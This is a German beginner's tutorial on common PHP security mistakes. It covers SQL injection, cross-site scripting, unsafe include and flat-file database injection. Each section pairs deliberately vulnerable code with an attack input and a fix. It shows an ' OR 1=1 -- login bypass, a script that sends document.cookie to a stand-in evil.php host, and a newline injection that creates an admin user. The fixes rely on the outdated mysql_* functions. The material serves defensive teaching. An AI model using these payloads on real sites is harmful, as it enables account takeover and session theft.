Häufige PHP Anfängerfehler

Programmieren ist nicht einfach und es gibt vieles, was man dabei falsch machen kann. Das gilt vor allem für Sprachen wie C, aber eben auch für Skriptsprachen, wie PHP. Meistens entstehen Probleme, die es zum Beispiel ermöglichen fremden Code auszuführen, weil Nutzereingaben nicht oder nur unzureichend geprüft werden. Deshalb zu Anfang gleich das wichtigste: „User input is hell!“. Benutzereingaben sind das schlimmste, was man sich als Programmierer nur vorstellen kann, denn man weiß nie, was der Nutzer eingeben wird.

Noch einige Anmerkungen zu diesem Artikel. Bitte niemals die ungesicherten Beispiele in eigene Skripte übernehmen. Weiterhin werden die Daten meist aus einer $_GET-Variable bezogen. Das ist ein Beispiel. Grundsätzlich müssen alle Daten, die vom Benutzer kommen überprüft werden. Dazu gehören vor allem die superglobalen Variablen: $_GET, $_POST, $_REQUEST und $_COOKIE. Ich gehe bei allen hier genannten Angriffen davon aus, dass magic_quotes ausgeschaltet ist, was – meiner Meinung nach – bei jeder vernünftigen PHP-Installation der Fall sein sollte. Eine Skriptsprache hat schließlich nicht die Aufgabe Fehler seiner Benutzer auszubügeln.

MySQL-Injection

Eigentlich der Klassiker unter den Fehlern ist es Daten, die in einer MySQL-Abfrage landen, nicht zu „escapen“, also in der SQL-Sprache vorhandene Steuerbefehle, wie zum Beispiel ein Stringende ' oder ", die sich eventuell in der Nutzereingabe befinden, unschädlich zu machen. Dazu wieder ein Klassiker als Beispiel. Wir nehmen an, dass ein Passwort mit dem folgenden kleinen Skript überprüft wird. Diesen Code bitte auf keinen Fall so in eigene Skripte übernehmen!

$query = 'SELECT * FROM test WHERE user=\'' . $_GET ['user'] .
        '\' AND password=\'' . $_GET ['pass'] . '\';';
if (($res = mysql_query ($query))) {
  echo 'ok.';
} else {
  echo 'failed.' . mysql_error ();
}
if (mysql_num_rows ($res) > 0) {
  echo 'logged in!';
} else {
  echo 'failed.';
}

Der Benutzer müsste sich mit einer Anfrage, wie zum Beispiel ?user=admin&pass=password anmelden. Gibt er statt dessen ?user=' OR 1=1 -- &pass=password ein, würde die resultierende SQL-Abfrage lauten

SELECT * FROM test WHERE user='' OR 1=1 -- AND password='password';

Der Server sucht nun nach Einträgen, die entweder einen leeren Benutzernamen haben oder für die 1=1 gilt. Das ist immer der Fall, also wird der Server alle vorhandenen Einträge zurückgeben. Das doppelte Minus mit anschließendem Leerzeichen leitet einen Kommentar ein, womit der Rest der Abfrage ignoriert wird. Resultat ist nun, dass sich ein Benutzer auch ohne Zugangsdaten einen Zugang verschaffen kann.

Als Lösung kommt die Funktion mysql_real_escape_string in Frage, die alle Steuerzeichen „escaped“ oder auf deutsch „maskiert“. Dabei ist zu beachten, dass diese Funktion eine offene MySQL-Verbindung benötigt. mysql_connect muss also vor der Benutzung ausgeführt werden. Der korrigierte PHP-Code müsste nun so aussehen:

$query = 'SELECT * FROM test WHERE user=\'' .
        mysql_real_escape_string ($_GET ['user']) . '\' AND password=\'' .
        mysql_real_escape_string ($_GET ['pass']) . '\';';

Cross-Site-Scripting

Das sogenannte Cross-Site-Scripting, kurz XSS, ist mehr für die Daten des Benutzers gefährlich, als für die auf dem Server. Dazu gleich zu Anfang ein Beispiel. Nehmen wir an, dass jemand eine Suchfunktion in seine Webseite eingebaut hat und auf der Suchseite den gesuchten Begriff anzeigen lässt:

echo 'Du hast nach "' . $_GET ['search'] . '" gesucht.';
/* hier folgt die Ausgabe der Ergebnisse */

Eine normale Suche würde also mit einer Abfrage, wie ?search=dein suchtext erfolgen. Der Benutzer kann aber auch nach ?search=<strong>Fetter Text</strong> suchen. Das Ergebnis würde dabei so aussehen: „Du hast nach Fetter Text gesucht“. Es kann also beliebiger HTML-, aber auch JavaScript-Code eingeschleust werden, der dann auf dem Rechner des Benutzers ausgeführt wird. Das folgende Codebeispiel zeigt, wie man alle Cookies, die die anfällige Seite auf dem Rechner des Benutzers gesetzt hat, auslesen und sich selber „schicken“ kann. Mit den gewonnenen Daten lassen sich dann fremde Sitzungen übernehmen.

<script>document.write ('<img src="http://www.example.com/evil.php?'
+ escape (document.cookie) + '" alt="" />');</script>

Weiterhin könnte ein Angreifer einen Benutzer über einen präparierten Link auf eine gefälschte Anmeldeseite schicken, die – bis auf die Länge des Links – erst einmal nicht zu erkennen ist.

PHP stellt für diesen Fall zwei Funktionen bereit. Einmal htmlspecialchars. Diese Funktion wandelt alle in HTML bekannten Steuerzeichen, also <>'" in die entspechenden unschädlichen Formen um. htmlentities geht einen Schritt weiter und wandelt alle möglichen Sonderzeichen in den entsprechenden HTML-Code um. Hier sollte man darauf achten welchen Zeichensatz man für die übergebenen Daten verwendet und gegebenenfalls den korrekten Zeichensatz mit an die Funktion übergeben. Das Beispiel müsste korrekt also so aussehen:

echo 'Du hast nach "' . htmlentities ($_GET ['search']) . '" gesucht.';
/* hier folgt die Ausgabe der Ergebnisse */

Andere Skripte einbinden

Ich habe zwar schon einen Artikel zum Einbinden fremden Codes per include geschrieben, aber auch das ist meistens ein Problem von Anfängern, weshalb ich hier nochmal darauf eingehen möchte.

Es ist zwar praktisch einzelne Inhalte so ein ein Seitengerüst einzubinden:

/* seitenkopf */
include ($_GET ['seite']);
/* seitenende */

Aber das birgt Risiken. Einmal könnte ein Angreifer PHP-Code, der auf dem gleichen Webserver liegt ausführen und dementsprechend alles tun, was er möchte. Das Problem liegt allerdings darin diesen Code in Form einer Datei auf dem Server zu platzieren. Die zweite, eigentlich viel verheerendere, Methode wäre, Code, der auf einem anderen Server liegt auszuführen. Das geht allerdings nur, wenn die php.ini-Einstellung allow_url_include eingeschaltet ist.

Lösungsmöglichkeiten gibt es viele. Auf der eben genannten Seite habe ich das Problem mit einem regulären Ausdruck gelöst. Eine zweite Möglichkeit möchte ich trotzdem noch vorstellen.

$seiten = array ('seite1' => 'seite1.php',
        'unterseite1' => 'unterverzeichnis/unterseite1.php'); /* usw. */
if (isset ($seiten [$_GET ['seite']])) {
  include ($seiten [$_GET ['seite']]);
} else {
  include ('standardseite.php');
}

Hier werden zunächst die Seitennamen und die zugehörige Datei in einem Array definiert und, sofern ein passender Eintrag existiert, bei entsprechendem Aufruf (also zum Beispiel ?seite=unterseite1) eingebunden.

Dateidatenbanken

Dateidatenbanken sind eine praktische Sache – vor allem für kleinere Datenbanken, bei denen MySQL zum Beispiel „Overkill“ wäre. Aber auch diese Datenbanken in Dateien sind anfällig für Angriffe.

Eine Datenbank könnte so aussehen: Einzelne Werte werden mit einem |, die Datensätze jeweils mit einer neuen Zeile voneinander getrennt. Die Felder sind: Benutzername, Privilegien, Name, Passwort.

root|1|Klaus Mustermann|klauspasswort
benutzer|2|Tom Mustermann|tomspasswort

Die Daten werden dementsprechend mit diesen sehr einfachen Funktionen geladen und gespeichert:

function loadData ($file) {
  $content = file ($file);
  $ret = array ();
  foreach ($content as $line) {
    $ret[] = explode ('|', $line);
  }
  return $ret;
}

function saveData ($file, $data) {
  $fd = fopen ($file, 'w');
  foreach ($data as $line) {
    fwrite ($fd, implode ('|', $line) . "\n");
  }
  fclose ($fd);
}

Nun benutzt aber jemand in seinem Benutzernamen ein |-Zeichen, also ein „Steuerzeichen“ der Datenbank. Damit kann man die Datenbank für das Skript unbrauchbar machen, denn die Daten sind plötzlich nicht mehr die, die erwartet werden. Genauer: Die Index-Zuordnungen im Array ($array[0], $array[1], …), das von loadData zurückgegeben wird, stimmen nicht mehr. Das ist zwar zunächst nicht gefährlich, aber ärgerlich. Zum Problem werden die Steuerzeichen | und \n erst, wenn jeder einen Benutzer anlegen darf. So könnte man sein Passwort wie folgt wählen, um einen weiteren Benutzer mit mehr Rechten zu schaffen: meinpasswort\nneuerbenutzer|1|Mehr Rechte|neuespasswort. Die Datenbank sieht danach wie folgt aus:

root|1|Klaus Mustermann|klauspasswort
benutzer|2|Tom Mustermann|tomspasswort
meinbenutzer|2|Mein Name|meinpasswort
neuerbenutzer|1|Mehr Rechte|neuespasswort

Die letzte Zeile ist eigentlich das eingegebene und nicht überprüfte Passwort. Jetzt übernimmt es die Funktion eines eigenen Datensatzes und ermöglicht zum Beispiel ein Anmelden mit mehr Rechten mit dem Benutzernamen „neuerbenutzer“.

Deshalb ist es wichtig die eingegebenen Daten möglichst in der Funktion zum Speichern der Datenbank zu überprüfen und gegebenenfalls zu säubern. Hier reicht ein einfaches str_replace aus.

$gereinigt = str_replace (array ("|", "\n"), '', $benutzereingabe);

Eine weitere Möglichkeit wäre die PHP-Funktionen serialize und unserialize zu benutzen, die komplette Arrays und Objekte in Dateien schreiben beziehungsweise diese aus ihnen lesen können. Hier kann die Datenbank zwar nicht manipuliert werden, aber die Eingaben des Benutzers sollten vor dem Verarbeiten – wie immer – überprüft und bereinigt werden.

Noch ein letztes Problem, das mit Dateidatenbanken zusammenhängt: Sie können, sofern man den Dateinamen kennt, vom Benutzer angezeigt werden. Das ist im Beispiel oben problematisch, weil die Passwörter im Klartext vorliegen. Gegen das Auslesen hilft ein Eintrag in der .htaccess-Datei des entsprechenden Verzeichnisses. Passwörter sollte man aber trotzdem in keiner Datenbank im Klartext speichern!


#000d, erstellt: 2008-11-30, aktualisiert: 2008-11-30, src, meta
Start, Impressum, zurück: PHP include-Hack mit %00, vor: Orthogonale Ebene berechnen